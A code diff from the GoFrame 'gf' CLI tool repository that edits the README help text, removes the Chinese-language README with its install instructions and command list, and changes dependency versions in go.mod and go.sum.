-    build      cross-building go project for lots of platforms
-    docker     build docker image for current GoFrame project
-    install    install gf binary to system (might need root/admin permission)
-    version    show version information of current binary
-    doc        download https://pages.goframe.org/ to run locally
+   up         upgrade GoFrame version/tool to latest one in current project
+   env        show current Golang environment variables
+   fix        auto fixing codes after upgrading to new GoFrame version
+   run        running go codes with hot-compiled-like feature
+   gen        automatically generate go files for dao/do/entity/pb/pbentity
+   tpl        template parsing and building commands
+   init       create and initialize an empty GoFrame project
+   pack       packing any file/directory to a resource file, or a go file
+   build      cross-building go project for lots of platforms
+   docker     build docker image for current GoFrame project
+   install    install gf binary to system (might need root/admin permission)
+   version    show version information of current binary
 
 OPTION
-    -y, --yes       all yes for all command without prompt ask
-    -v, --version   show version information of current binary
-    -d, --debug     show internal detailed debugging information
-    -h, --help      more information about this command
+   -y, --yes       all yes for all command without prompt ask
+   -v, --version   show version information of current binary
+   -d, --debug     show internal detailed debugging information
+   -h, --help      more information about this command
 
 ADDITIONAL
     Use "gf COMMAND -h" for details about a command.

cmd/gf/README.zh_CN.MD

@@ -1,82 +0,0 @@
-[English](README.MD) | 简体中文
-
-# gf
-
-`gf` 是一个强大的 CLI 工具，用于便捷地构建 [GoFrame](https://goframe.org) 应用程序。
-
-## 1. 安装
-
-## 1) 预编译二进制文件
-
-您也可以使用预构建的二进制文件安装 `gf` 工具：<https://github.com/gogf/gf/releases>
-
-1. `Mac` & `Linux`
-
-   ```shell
-    wget -O gf https://github.com/gogf/gf/releases/latest/download/gf_$(go env GOOS)_$(go env GOARCH) && chmod +x gf && ./gf install -y && rm ./gf
-   ```
-
-   > 如果您使用 `zsh`，您可能需要通过命令 `alias gf=gf` 重命名别名以解决 `gf` 和 `git fetch` 之间的冲突。
-
-2. `Windows`
-   手动下载，在命令行中执行，然后按照说明操作。
-
-3. 数据库支持
-
-   |     数据库     | 内置支持 |                                                                             说明                                                                             |
-   | :--------: | :-------------: | :-------------------------------------------------------------------------------------------------------------------------------------------------------------: |
-   |   mysql    |       是       |                                                                                -                                                                                |
-   |  mariadb   |       是       |                                                                                -                                                                                |
-   |    tidb    |       是       |                                                                                -                                                                                |
-   |   mssql    |       是       |                                                                                -                                                                                |
-   |   oracle   |       是       |                                                                                -                                                                                |
-   |   pgsql    |       是       |                                                                                -                                                                                |
-   |   sqlite   |       是       |                                                                                -                                                                                |
-   | sqlitecgo  |       否        | 要在 32 位架构系统上支持 sqlite 数据库，请手动向[源代码](./internal/cmd/cmd_gen_dao.go)添加包导入并进行构建。 |
-   | clickhouse |       是        |                                                                                -                                                                                |
-   |     dm     |       否        |                              手动向[源代码](./internal/cmd/cmd_gen_dao.go)添加包导入并进行构建。                              |
-
-## 2) 手动安装
-
-```shell
-go install github.com/gogf/gf/cmd/gf/v2@latest # 最新版本
-go install github.com/gogf/gf/cmd/gf/v2@v2.5.5 # 特定版本(应该 >= v2.5.5)
-```
-
-## 2. 命令
-
-```shell
-$ gf -h
-用法
-    gf 命令 [选项]
-
-命令
-    up         升级项目中的 GoFrame 版本/工具到最新版本
-    env        显示当前 Golang 环境变量
-    fix        升级到新 GoFrame 版本后自动修复代码
-    run        运行 go 代码，具有热编译功能
-    gen        自动生成 dao/do/entity/pb/pbentity 的 go 文件
-    tpl        模板解析和构建命令
-    init       创建并初始化一个空的 GoFrame 项目
-    pack       将任何文件/目录打包到资源文件或 go 文件
-    build      为多个平台交叉编译 go 项目
-    docker     为当前 GoFrame 项目构建 docker 镜像
-    install    将 gf 二进制文件安装到系统(可能需要 root/admin 权限)
-    version    显示当前二进制文件的版本信息
-    doc        下载 https://pages.goframe.org/ 本地运行
-
-选项
-    -y, --yes       对所有命令都使用 yes，不再提示
-    -v, --version   显示当前二进制文件的版本信息
-    -d, --debug     显示内部详细的调试信息
-    -h, --help      显示此命令的更多信息
-
-附加信息
-    使用 "gf 命令 -h" 获取有关命令的详细信息。
-```
-
-## 3. 常见问题
-
-### 1). 命令 `gf run` 返回 `pipe: too many open files`
-
-请使用 `ulimit -n 65535` 扩大系统配置以增加当前终端 shell 会话的最大打开文件数，然后再运行 `gf run`。

cmd/gf/go.mod

@@ -3,18 +3,18 @@ module github.com/gogf/gf/cmd/gf/v2
 go 1.23.0
 
 require (
-	github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6
-	github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.1
+	github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.1
+	github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.1
+	github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.1
+	github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.1
+	github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.1
+	github.com/gogf/gf/v2 v2.9.1
 	github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f
-	github.com/olekukonko/tablewriter v1.1.0
+	github.com/olekukonko/tablewriter v0.0.5
 	github.com/schollz/progressbar/v3 v3.15.0
-	golang.org/x/mod v0.25.0
-	golang.org/x/tools v0.26.0
+	golang.org/x/mod v0.26.0
+	golang.org/x/tools v0.35.0
 )
 
 require (
@@ -23,7 +23,7 @@ require (
 	github.com/ClickHouse/clickhouse-go/v2 v2.0.15 // indirect
 	github.com/clbanning/mxj/v2 v2.7.0 // indirect
 	github.com/dustin/go-humanize v1.0.1 // indirect
-	github.com/emirpasic/gods/v2 v2.0.0-alpha // indirect
+	github.com/emirpasic/gods v1.18.1 // indirect
 	github.com/fatih/color v1.18.0 // indirect
 	github.com/fsnotify/fsnotify v1.9.0 // indirect
 	github.com/glebarez/go-sqlite v1.21.2 // indirect
@@ -37,13 +37,11 @@ require (
 	github.com/grokify/html-strip-tags-go v0.1.0 // indirect
 	github.com/lib/pq v1.10.9 // indirect
 	github.com/magiconair/properties v1.8.10 // indirect
-	github.com/mattn/go-colorable v0.1.13 // indirect
+	github.com/mattn/go-colorable v0.1.14 // indirect
 	github.com/mattn/go-isatty v0.0.20 // indirect
 	github.com/mattn/go-runewidth v0.0.16 // indirect
 	github.com/microsoft/go-mssqldb v1.7.1 // indirect
 	github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
-	github.com/olekukonko/errors v1.1.0 // indirect
-	github.com/olekukonko/ll v0.0.9 // indirect
 	github.com/paulmach/orb v0.7.1 // indirect
 	github.com/pierrec/lz4/v4 v4.1.14 // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
@@ -51,16 +49,16 @@ require (
 	github.com/shopspring/decimal v1.3.1 // indirect
 	github.com/sijms/go-ora/v2 v2.7.10 // indirect
 	go.opentelemetry.io/auto/sdk v1.1.0 // indirect
-	go.opentelemetry.io/otel v1.38.0 // indirect
-	go.opentelemetry.io/otel/metric v1.38.0 // indirect
-	go.opentelemetry.io/otel/sdk v1.38.0 // indirect
-	go.opentelemetry.io/otel/trace v1.38.0 // indirect
-	golang.org/x/crypto v0.38.0 // indirect
-	golang.org/x/net v0.40.0 // indirect
-	golang.org/x/sync v0.14.0 // indirect
+	go.opentelemetry.io/otel v1.37.0 // indirect
+	go.opentelemetry.io/otel/metric v1.37.0 // indirect
+	go.opentelemetry.io/otel/sdk v1.37.0 // indirect
+	go.opentelemetry.io/otel/trace v1.37.0 // indirect
+	golang.org/x/crypto v0.41.0 // indirect
+	golang.org/x/net v0.43.0 // indirect
+	golang.org/x/sync v0.16.0 // indirect
 	golang.org/x/sys v0.35.0 // indirect
-	golang.org/x/term v0.32.0 // indirect
-	golang.org/x/text v0.25.0 // indirect
+	golang.org/x/term v0.34.0 // indirect
+	golang.org/x/text v0.28.0 // indirect
 	gopkg.in/yaml.v3 v3.0.1 // indirect
 	modernc.org/libc v1.22.5 // indirect
 	modernc.org/mathutil v1.5.0 // indirect

cmd/gf/go.sum

@@ -27,8 +27,8 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
 github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
-github.com/emirpasic/gods/v2 v2.0.0-alpha h1:dwFlh8pBg1VMOXWGipNMRt8v96dKAIvBehtCt6OtunU=
-github.com/emirpasic/gods/v2 v2.0.0-alpha/go.mod h1:W0y4M2dtBB9U5z3YlghmpuUhiaZT2h6yoeE+C1sCp6A=
+github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc=
+github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ=
 github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
 github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
 github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
@@ -46,20 +46,6 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
 github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
 github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
 github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
-github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6 h1:rJzRmA5TGWMeKDebdDosYODoUrMUHqfA5pWO1MBC5b0=
-github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6/go.mod h1:u+bUsuftf8qpKpPZPdOFhzh3F5KQzo6Wqa9JFTCLFqg=
-github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6 h1:3QTlIbSdrVYvRMNUF6nckspA6Eh5Uy2NqwB3/auxIwk=
-github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6/go.mod h1:oMteYgkWImPpUVe1aqPKtZ8jX1dG3v60lS7IA87MwFQ=
-github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6 h1:BY1ThxMo0bTx2P18PuCe57ARmjHuEithSdob/CbH/rw=
-github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6/go.mod h1:v/jKO9JJdLctlPlnUSnnG0SNSEpElM51Qx3KoI5crkU=
-github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6 h1:12+sWI/hm1D4KxG+1FMZpfoU3PwtSLJ9KbLNa20roLg=
-github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6/go.mod h1:gjjhgxqjafnORK0F4Fa5W8TJlassw7svKy7RFj5GKss=
-github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6 h1:LG/bTOJEpyNu6+IdREqFyi6J8LdZIeceeyxhuyV58LQ=
-github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6/go.mod h1:Ekd5IgUGyBlbfqKD/69hkIL9vHF6F4V2FeEP3h/pH08=
-github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6 h1:3QZvWIlz3dLjNELQU+5ZZZWuzEx9gsRFLU+qIKVUG6M=
-github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6/go.mod h1:7EEAe8UYI5dLeuwCWN3HgC62OhjIYbkynaoavw1U/k4=
-github.com/gogf/gf/v2 v2.9.6 h1:fQ6uPtS1Ra8qY+OuzPPZTlgksJ4eOXmTZ1/a2l3Idog=
-github.com/gogf/gf/v2 v2.9.6/go.mod h1:Svl1N+E8G/QshU2DUbh/3J/AJauqCgUnxHurXWR4Qx0=
 github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f h1:7xfXR/BhG3JDqO1s45n65Oyx9t4E/UqDOXep6jXdLCM=
 github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f/go.mod h1:HnYoio6S7VaFJdryKcD/r9HgX+4QzYfr00XiXUo/xz0=
 github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
@@ -100,11 +86,11 @@ github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw=
 github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
 github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE=
 github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
-github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
-github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
-github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
+github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
+github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
 github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
 github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
+github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
 github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
 github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
 github.com/mattn/go-sqlite3 v1.9.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
@@ -113,12 +99,8 @@ github.com/microsoft/go-mssqldb v1.7.1/go.mod h1:kOvZKUdrhhFQmxLZqbwUV0rHkNkZpth
 github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
 github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
 github.com/mkevac/debugcharts v0.0.0-20191222103121-ae1c48aa8615/go.mod h1:Ad7oeElCZqA1Ufj0U9/liOF4BtVepxRcTvr2ey7zTvM=
-github.com/olekukonko/errors v1.1.0 h1:RNuGIh15QdDenh+hNvKrJkmxxjV4hcS50Db478Ou5sM=
-github.com/olekukonko/errors v1.1.0/go.mod h1:ppzxA5jBKcO1vIpCXQ9ZqgDh8iwODz6OXIGKU8r5m4Y=
-github.com/olekukonko/ll v0.0.9 h1:Y+1YqDfVkqMWuEQMclsF9HUR5+a82+dxJuL1HHSRpxI=
-github.com/olekukonko/ll v0.0.9/go.mod h1:En+sEW0JNETl26+K8eZ6/W4UQ7CYSrrgg/EdIYT2H8g=
-github.com/olekukonko/tablewriter v1.1.0 h1:N0LHrshF4T39KvI96fn6GT8HEjXRXYNDrDjKFDB7RIY=
-github.com/olekukonko/tablewriter v1.1.0/go.mod h1:5c+EBPeSqvXnLLgkm9isDdzR3wjfBkHR9Nhfp3NWrzo=
+github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
+github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
 github.com/paulmach/orb v0.7.1 h1:Zha++Z5OX/l168sqHK3k4z18LDvr+YAO/VjK0ReQ9rU=
 github.com/paulmach/orb v0.7.1/go.mod h1:FWRlTgl88VI1RBx/MkrwWDRhQ96ctqMCh8boXhmqB/A=
 github.com/paulmach/protoscan v0.2.1/go.mod h1:SpcSwydNLrxUGSDvXvO0P7g7AuhJ7lcKfDlhJCDw2gY=
@@ -135,8 +117,8 @@ github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qq
 github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
 github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
 github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
-github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
-github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
+github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
+github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc=
 github.com/schollz/progressbar/v3 v3.15.0 h1:cNZmcNiVyea6oofBTg80ZhVXxf3wG/JoAhqCCwopkQo=
 github.com/schollz/progressbar/v3 v3.15.0/go.mod h1:ncBdc++eweU0dQoeZJ3loXoAc+bjaallHRIm8pVVeQM=
 github.com/shirou/gopsutil v2.19.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
@@ -151,8 +133,8 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
 github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
 github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
 github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals=
-github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
-github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
+github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
+github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
 github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
 github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
 github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
@@ -161,40 +143,38 @@ github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQ
 go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
 go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
 go.opentelemetry.io/otel v1.7.0/go.mod h1:5BdUoMIz5WEs0vt0CUEMtSSaTSHBBVwrhnz7+nrD5xk=
-go.opentelemetry.io/otel v1.38.0 h1:RkfdswUDRimDg0m2Az18RKOsnI8UDzppJAtj01/Ymk8=
-go.opentelemetry.io/otel v1.38.0/go.mod h1:zcmtmQ1+YmQM9wrNsTGV/q/uyusom3P8RxwExxkZhjM=
-go.opentelemetry.io/otel/metric v1.38.0 h1:Kl6lzIYGAh5M159u9NgiRkmoMKjvbsKtYRwgfrA6WpA=
-go.opentelemetry.io/otel/metric v1.38.0/go.mod h1:kB5n/QoRM8YwmUahxvI3bO34eVtQf2i4utNVLr9gEmI=
-go.opentelemetry.io/otel/sdk v1.38.0 h1:l48sr5YbNf2hpCUj/FoGhW9yDkl+Ma+LrVl8qaM5b+E=
-go.opentelemetry.io/otel/sdk v1.38.0/go.mod h1:ghmNdGlVemJI3+ZB5iDEuk4bWA3GkTpW+DOoZMYBVVg=
-go.opentelemetry.io/otel/sdk/metric v1.38.0 h1:aSH66iL0aZqo//xXzQLYozmWrXxyFkBJ6qT5wthqPoM=
-go.opentelemetry.io/otel/sdk/metric v1.38.0/go.mod h1:dg9PBnW9XdQ1Hd6ZnRz689CbtrUp0wMMs9iPcgT9EZA=
+go.opentelemetry.io/otel v1.37.0 h1:9zhNfelUvx0KBfu/gb+ZgeAfAgtWrfHJZcAqFC228wQ=
+go.opentelemetry.io/otel v1.37.0/go.mod h1:ehE/umFRLnuLa/vSccNq9oS1ErUlkkK71gMcN34UG8I=
+go.opentelemetry.io/otel/metric v1.37.0 h1:mvwbQS5m0tbmqML4NqK+e3aDiO02vsf/WgbsdpcPoZE=
+go.opentelemetry.io/otel/metric v1.37.0/go.mod h1:04wGrZurHYKOc+RKeye86GwKiTb9FKm1WHtO+4EVr2E=
+go.opentelemetry.io/otel/sdk v1.37.0 h1:ItB0QUqnjesGRvNcmAcU0LyvkVyGJ2xftD29bWdDvKI=
+go.opentelemetry.io/otel/sdk v1.37.0/go.mod h1:VredYzxUvuo2q3WRcDnKDjbdvmO0sCzOvVAiY+yUkAg=
 go.opentelemetry.io/otel/trace v1.7.0/go.mod h1:fzLSB9nqR2eXzxPXb2JW9IKE+ScyXA48yyE4TNvoHqU=
-go.opentelemetry.io/otel/trace v1.38.0 h1:Fxk5bKrDZJUH+AMyyIXGcFAPah0oRcT+LuNtJrmcNLE=
-go.opentelemetry.io/otel/trace v1.38.0/go.mod h1:j1P9ivuFsTceSWe1oY+EeW3sc+Pp42sO++GHkg4wwhs=
+go.opentelemetry.io/otel/trace v1.37.0 h1:HLdcFNbRQBE2imdSEgm/kwqmQj1Or1l/7bW6mxVK7z4=
+go.opentelemetry.io/otel/trace v1.37.0/go.mod h1:TlgrlQ+PtQO5XFerSPUYG0JSgGyryXewPGyayAWSBS0=
 go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
 go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
 golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
 golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
 golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
 golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
-golang.org/x/crypto v0.38.0 h1:jt+WWG8IZlBnVbomuhg2Mdq0+BBQaHbtqHEFEigjUV8=
-golang.org/x/crypto v0.38.0/go.mod h1:MvrbAqul58NNYPKnOra203SB9vpuZW0e+RRZV+Ggqjw=
+golang.org/x/crypto v0.41.0 h1:WKYxWedPGCTVVl5+WHSSrOBT0O8lx32+zxmHxijgXp4=
+golang.org/x/crypto v0.41.0/go.mod h1:pO5AFd7FA68rFak7rOAGVuygIISepHftHnr8dr6+sUc=
 golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
 golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w=
-golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
+golang.org/x/mod v0.26.0 h1:EGMPT//Ezu+ylkCijjPc+f4Aih7sZvaAr+O3EHBxvZg=
+golang.org/x/mod v0.26.0/go.mod h1:/j6NAhSk8iQ723BGAUyoAcn7SlD7s15Dp9Nd/SfeaFQ=
 golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
 golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
 golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
 golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
-golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
-golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
+golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
+golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
 golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
-golang.org/x/sync v0.14.0 h1:woo0S4Yywslg6hp4eUFjTVOyKt0RookbpAHG4c1HmhQ=
-golang.org/x/sync v0.14.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
+golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw=
+golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
 golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -204,25 +184,24 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20210228012217-479acdf4ea46/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.0.0-20220429233432-b5fbb4746d32/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
 golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
